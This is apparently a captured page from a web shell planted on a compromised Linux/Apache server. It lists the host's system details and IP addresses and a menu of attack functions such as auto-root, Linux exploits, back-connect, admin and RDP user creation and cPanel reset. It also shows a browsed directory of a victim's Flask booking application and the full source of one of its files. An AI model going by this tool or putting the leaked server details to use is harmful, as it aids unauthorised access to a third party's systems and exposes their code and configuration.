Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.14.131.93
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py-maracar.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
email-template
[ DIR ]
drwxr-xr-x
logs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
.env
380
B
-rwxr-xr-x
.htaccess
459
B
-rwxr-xr-x
Booking.py
10.46
KB
-rwxr-xr-x
Booking_env_3.py
12.6
KB
-rwxr-xr-x
api_env_2_routes.py
2.92
KB
-rwxr-xr-x
api_env_3_routes.py
9.31
KB
-rwxr-xr-x
booking_delete.py
2.6
KB
-rwxr-xr-x
booking_delete_env_3.py
2.65
KB
-rwxr-xr-x
bookingdetail.py
16.94
KB
-rwxr-xr-x
bookingdetail_env_3.py
23.36
KB
-rwxr-xr-x
branch_env_3.py
6.16
KB
-rwxr-xr-x
change_password.py
2.09
KB
-rwxr-xr-x
check.py
4.36
KB
-rwxr-xr-x
check_env_2.py
3.82
KB
-rwxr-xr-x
check_env_3.py
3.82
KB
-rwxr-xr-x
check_tel.py
4.37
KB
-rwxr-xr-x
checkout.py
2.01
KB
-rwxr-xr-x
config.py
547
B
-rwxr-xr-x
connec_data.py
2.18
KB
-rwxr-xr-x
createkeysecret.py
304
B
-rwxr-xr-x
database.py
1.49
KB
-rwxr-xr-x
decorator.py
3.57
KB
-rwxr-xr-x
forgot.py
2.34
KB
-rwxr-xr-x
gen_uuid.py
4.17
KB
-rwxr-xr-x
image_conn_data.py
1.79
KB
-rwxr-xr-x
image_conn_data3.py
2.02
KB
-rwxr-xr-x
image_urls.py
7.49
KB
-rwxr-xr-x
image_urls_env_3.py
7.71
KB
-rwxr-xr-x
index.html
7.81
KB
-rwxr-xr-x
jangwat_thai.py
8.06
KB
-rwxr-xr-x
maracar.py
14.46
KB
-rwxr-xr-x
maracar.wsgi
379
B
-rwxr-xr-x
maracar_test.py
114
B
-rwxr-xr-x
matching_user_env_2.py
13.19
KB
-rwxr-xr-x
order_send_email_env_3.py
6.6
KB
-rwxr-xr-x
order_send_email_smtpgo.py
7.85
KB
-rw-r--r--
payments.py
9.07
KB
-rwxr-xr-x
payments_env_3.py
12.6
KB
-rwxr-xr-x
payments_payzen.py
14.1
KB
-rwxr-xr-x
payments_test_env_3.py
4.62
KB
-rwxr-xr-x
plot_cpu_usage.py
1.42
KB
-rwxr-xr-x
position_set.py
1.51
KB
-rwxr-xr-x
positions_list.py
987
B
-rwxr-xr-x
price_create.py
13.63
KB
-rwxr-xr-x
price_create3.py
21.56
KB
-rwxr-xr-x
promotion_items.py
4.9
KB
-rwxr-xr-x
promotions.py
8.44
KB
-rwxr-xr-x
queues.py
8.58
KB
-rwxr-xr-x
queues_env_3.py
11.28
KB
-rwxr-xr-x
register.py
5.11
KB
-rwxr-xr-x
register_edit.py
3
KB
-rwxr-xr-x
register_edit_env_2.py
3.14
KB
-rwxr-xr-x
register_edit_env_3.py
3.71
KB
-rwxr-xr-x
register_env_2.py
5.19
KB
-rwxr-xr-x
register_env_3.py
4.44
KB
-rwxr-xr-x
report_bookingoverview.py
9.86
KB
-rwxr-xr-x
report_bookingoverview_env_3.p...
12.93
KB
-rwxr-xr-x
requirements.txt
457
B
-rwxr-xr-x
reviews.py
9.42
KB
-rwxr-xr-x
reviews_env_3.py
12.91
KB
-rwxr-xr-x
service.py
5.87
KB
-rwxr-xr-x
service3.py
7.87
KB
-rwxr-xr-x
sms_octopush.py
1.71
KB
-rwxr-xr-x
sms_thsms3.py
2.09
KB
-rwxr-xr-x
specificinsert_env_2.py
3.63
KB
-rwxr-xr-x
status_list.py
960
B
-rwxr-xr-x
types_create.py
4.6
KB
-rwxr-xr-x
types_create3.py
8.91
KB
-rwxr-xr-x
update_status.py
2.52
KB
-rwxr-xr-x
user.py
4.02
KB
-rwxr-xr-x
user3.py
4.78
KB
-rwxr-xr-x
user_all.py
3.88
KB
-rwxr-xr-x
user_all_env_2.py
5.81
KB
-rwxr-xr-x
user_all_env_3.py
8.44
KB
-rwxr-xr-x
user_all_mlm.py
9.18
KB
-rwxr-xr-x
user_all_mlm_env_2.py
9.26
KB
-rwxr-xr-x
user_env_2.py
4.1
KB
-rwxr-xr-x
user_mlm.py
10.47
KB
-rwxr-xr-x
user_mlm_env_2.py
10.49
KB
-rwxr-xr-x
user_mlm_env_3.py
18.45
KB
-rw-r--r--
user_routes.py
1.28
KB
-rwxr-xr-x
website1.env
12
B
-rwxr-xr-x
website2.env
12
B
-rwxr-xr-x
website3.env
12
B
-rwxr-xr-x
website4.env
12
B
-rwxr-xr-x
website5.env
12
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : image_urls_env_3.py
# /var/www/website2024/py-maracar.afaa.website/image_urls_env_3.py # python3 image_urls_env_3.py from flask import Flask, request, jsonify from flask_cors import CORS import requests from werkzeug.utils import secure_filename import os from database import modify_db, query_db from dotenv import load_dotenv # Load environment variables load_dotenv('/var/www/afra/py-maracar.afaa.website/.env') website_id = os.getenv('WEBSITE_ID3') app = Flask(__name__) CORS(app, resources={r"/*": {"origins": "*"}}) @app.route('/img/api_env_3/upload', methods=['POST']) def upload_image_to_external_api3(): app.logger.info('Processing multiple image upload requests') try: image_data_list = request.json # Expecting a list or a single dictionary of image data objects # Check if image_data_list is a single dictionary and wrap it in a list if so if isinstance(image_data_list, dict): image_data_list = [image_data_list] saved_images_info = [] # List to store information about saved images for image_data in image_data_list: app.logger.info(f'Processing image data for user: {image_data.get("user_ID")}') if isinstance(image_data, dict) and 'fileNames' in image_data and 'resizedFileURLs' in image_data and 'user_ID' in image_data: table_data_id = image_data.get('tabledataID') image_ids = save_image_data_to_db(image_data) # Save image data to database if image_ids: saved_images_info.extend([{"image_id": image_id, "user_id": image_data['user_ID']} for image_id in image_ids]) update_user_image(image_data['user_ID'], image_data['resizedFileURLs'][0]) app.logger.info('Multiple image upload and update requests completed') return jsonify({ "message": "All images successfully uploaded and users updated.", "uploaded_images": saved_images_info # Returning information about uploaded images }), 200 except Exception as e: app.logger.error(f'Error during processing multiple image upload requests: {e}') return jsonify({ 'message': 'Error during processing multiple image upload requests.', 'error': str(e) }), 500 def save_image_data_to_db(image_data): user_id = image_data.get('user_ID') image_uuid = image_data.get('uuid') # Get uuid from image data table_data_id = image_data.get('tabledataID') # Link to the table data ID image_ids = [] if 'fileNames' in image_data and 'originalFileURLs' in image_data and 'resizedFileURLs' in image_data: for i, fileName in enumerate(image_data['fileNames']): try: sql = """ INSERT INTO image_urls (fileName, upload_time, type, originalFileURLs, resizedFileURLs, user_ID, uuid, TableData_ID, websiteID) VALUES (%s, NOW(), %s, %s, %s, %s, %s, %s, %s) """ params = ( fileName, '1', # Assuming '1' as the default file type image_data['originalFileURLs'][i], image_data['resizedFileURLs'][i], user_id, image_uuid, # Add uuid to the parameters table_data_id, # Include table_data_id in the database insertion website_id # Include website_id in the database insertion ) # Print the SQL query and parameters for logging app.logger.info(f'Executing SQL Query: {sql} with parameters: {params}') cursor = modify_db(sql, params) image_id = cursor.lastrowid image_ids.append(image_id) app.logger.info(f'Image data saved to database for user ID {user_id} with UUID {image_uuid}, File: {fileName}, Image ID: {image_id}, Table Data ID: {table_data_id}') except Exception as e: app.logger.error(f'Error saving image data for file {fileName} with UUID {image_uuid}: {e}') raise e else: app.logger.warning('Missing required keys in image_data') return image_ids def update_user_image(user_id, image_url): sql = "UPDATE user SET image = %s WHERE user_ID = %s AND websiteID = %s" params = (image_url, user_id, website_id) # บันทึกข้อมูล query และ parameters ลง log app.logger.info(f'Executing SQL Query: {sql} with parameters: {params}') modify_db(sql, params) # บันทึกข้อมูลการดำเนินการ app.logger.info(f'User image updated for user ID {user_id}') @app.route('/img/api_env_3/delete', methods=['DELETE']) def delete_image3(): try: data = request.json image_id = data.get('id') user_id = data.get('user_ID') if not image_id or not user_id: return jsonify({'message': 'Missing required parameters.'}), 400 sql = "DELETE FROM image_urls WHERE id = %s AND user_ID = %s AND websiteID = %s" params = (image_id, user_id, website_id) modify_db(sql, params) return jsonify({'message': 'Image deleted successfully.'}), 200 except Exception as e: app.logger.error(f'Error during image deletion: {e}') return jsonify({'message': 'Error during image deletion.', 'error': str(e)}), 500 @app.route('/img/api_env_3/view', methods=['GET']) def view_images3(): try: table_data_id = request.args.get('TableData_ID') user_id = request.args.get('user_ID') img_type = request.args.get('type') file_name = request.args.get('fileName') upload_time = request.args.get('upload_time') uuid = request.args.get('uuid') query_conditions = ["websiteID = %s"] params = [website_id] if table_data_id: query_conditions.append("TableData_ID = %s") params.append(table_data_id) if user_id: query_conditions.append("user_ID = %s") params.append(user_id) if img_type: query_conditions.append("type = %s") params.append(img_type) if file_name: query_conditions.append("fileName LIKE %s") params.append(f"%{file_name}%") if upload_time: query_conditions.append("DATE(upload_time) = %s") params.append(upload_time) if uuid: query_conditions.append("uuid = %s") params.append(uuid) query_base = "SELECT id, fileName, upload_time, type, originalFileURLs, resizedFileURLs, user_ID, uuid, TableData_ID FROM image_urls" if query_conditions: query_base += " WHERE " + " AND ".join(query_conditions) images = query_db(query_base, params) if images: return jsonify(images), 200 else: return jsonify({'message': 'No images found matching the criteria.'}), 404 except Exception as e: app.logger.error(f'Error during fetching image data: {e}') return jsonify({'message': 'Error during fetching image data.', 'error': str(e)}), 500 if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=425) import logging from logging.handlers import RotatingFileHandler import os # ตั้งค่า logging log_dir = '/var/log/python' if not os.path.exists(log_dir): os.makedirs(log_dir) file_handler = RotatingFileHandler(os.path.join(log_dir, 'flask_app.log'), maxBytes=100000, backupCount=10) file_handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')) file_handler.setLevel(logging.INFO) app.logger.addHandler(file_handler) app.logger.setLevel(logging.INFO)
Close